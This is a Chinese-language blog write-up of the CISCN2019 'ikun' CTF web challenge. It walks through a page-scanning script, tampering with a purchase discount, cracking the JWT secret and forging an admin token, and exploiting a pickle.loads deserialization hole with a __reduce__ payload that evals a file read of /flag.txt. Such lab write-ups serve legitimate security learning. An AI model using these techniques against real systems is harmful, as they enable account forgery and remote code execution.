[CISCN2019 华北赛区 Day1 Web2]ikun


打开环境,喜闻乐见

先注册一个账号

然后找一找信息

要找到lv6
往下翻了几页,好想挺多页的样子,手工找不出来,写个脚本吧

import requests
url = "http://63d2c3fa-95be-449a-afe2-1e07c97c0013.node3.buuoj.cn/shop?page=%d"
for i in range(1, 1000):
    u = url % i
    print("正在测试第%d页"%i)
    r = requests.get(u)
    if 'lv6.png' in r.text:
        print("lv6在第%d页"%i)
        break


找到lv6在181页

购买

好像买不起的样子

果然买不起
那开着burp看看请求
注意到有一个discount折扣字样

那把折扣改成0试一下

操作失败
那把折扣改为不为0的很小的数字试试


购买成功到了另一个页面,显示只允许admin访问
可能和cookie之类的有关,再次访问抓包

注意到有一个JWT字段

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密

一种token,用来认证的

JWT的构成
第一部分我们称它为头部(header),第二部分我们称其为载荷(payload, 类似于飞机上承载的物品),第三部分是签证(signature).

整体就差不多是这样

不过JWT可以破解,python中的pyjwt模块等,在这里我们用c-jwt-cracker这个工具破解

破解很快,加密密钥就是1Kun
然后我们到这个网站去进行在线加密

把密钥替换为1Kun,用户名替换为admin,将新的JWT替换到我们的请求信息当中

成功以admin身份登录
查看页面源代码

发现了一个压缩文件,下载来看看

是这个网站的源代码
又到了头疼的代码审计环节。。。
挨个挨个看吧


好吧实在审不来,看wp吧
有一个python反序列化漏洞,在Admin.py

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

漏洞代码出现在这里

become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))

关于python反序列化漏洞可以看看这篇文章一篇文章带你理解漏洞之 Python 反序列化漏洞

当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化
也就是说我们,只要在新式类中定义一个 __reduce__ 方法,我们就能在序列化的使用让这个类根据我们在__reduce__ 中指定的方式进行序列化,那这就非常好,那我们该如何指定呢?实际上关键就在这个方法的返回值上,这个方法可以返回两种类型的值,String 和 tuple ,我们的构造点就在令其返回 tuple 的时候

当他返回值是一个元祖的时候,可以提供2到5个参数,我们重点利用的是前两个,第一个参数是一个callable object(可调用的对象),第二个参数可以是一个元祖为这个可调用对象提供必要的参数,如果你认真看上面的 PVM 的指令码,你就会发现这个返回值和其中的一个 R 指令非常的一致,(我猜测这个 R 指令码就是这个 __reduce__ 方法的返回值的底层实现 )
urllib.unquote()
字符串被当作url提交时会被自动进行url编码处理
pickle.dump(obj, file[, protocol])
序列化对象,并将结果数据流写入到文件对象中。参数protocol是序列化模式,默认值为0,表示以文本的形式序列化。protocol的值还可以是1或2,表示以二进制的形式序列化。
pickle.load(file)
反序列化对象。将文件中的数据解析为一个Python对象。

exp如下(要在python2下运行)

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

再将a传给become即可


文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
动态规划的背包问题 动态规划的背包问题
01背包和完全背包记录一下这两天学习的动态规划算法,拖了好久了 动态规划可以说是递归的升级版,甚至可以替代BFS和DFS,能熟练掌握的话就不用再就纠结用什么搜索算法好了这两天在洛谷上刷了一下动态规划地背包算法部分,深感DP的便利,用贪心算
2020-02-10
下一篇 
[ZJCTF 2019]NiZhuanSiWei [ZJCTF 2019]NiZhuanSiWei
打开环境,直接给出了源代码 <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&a
2020-02-10
  目录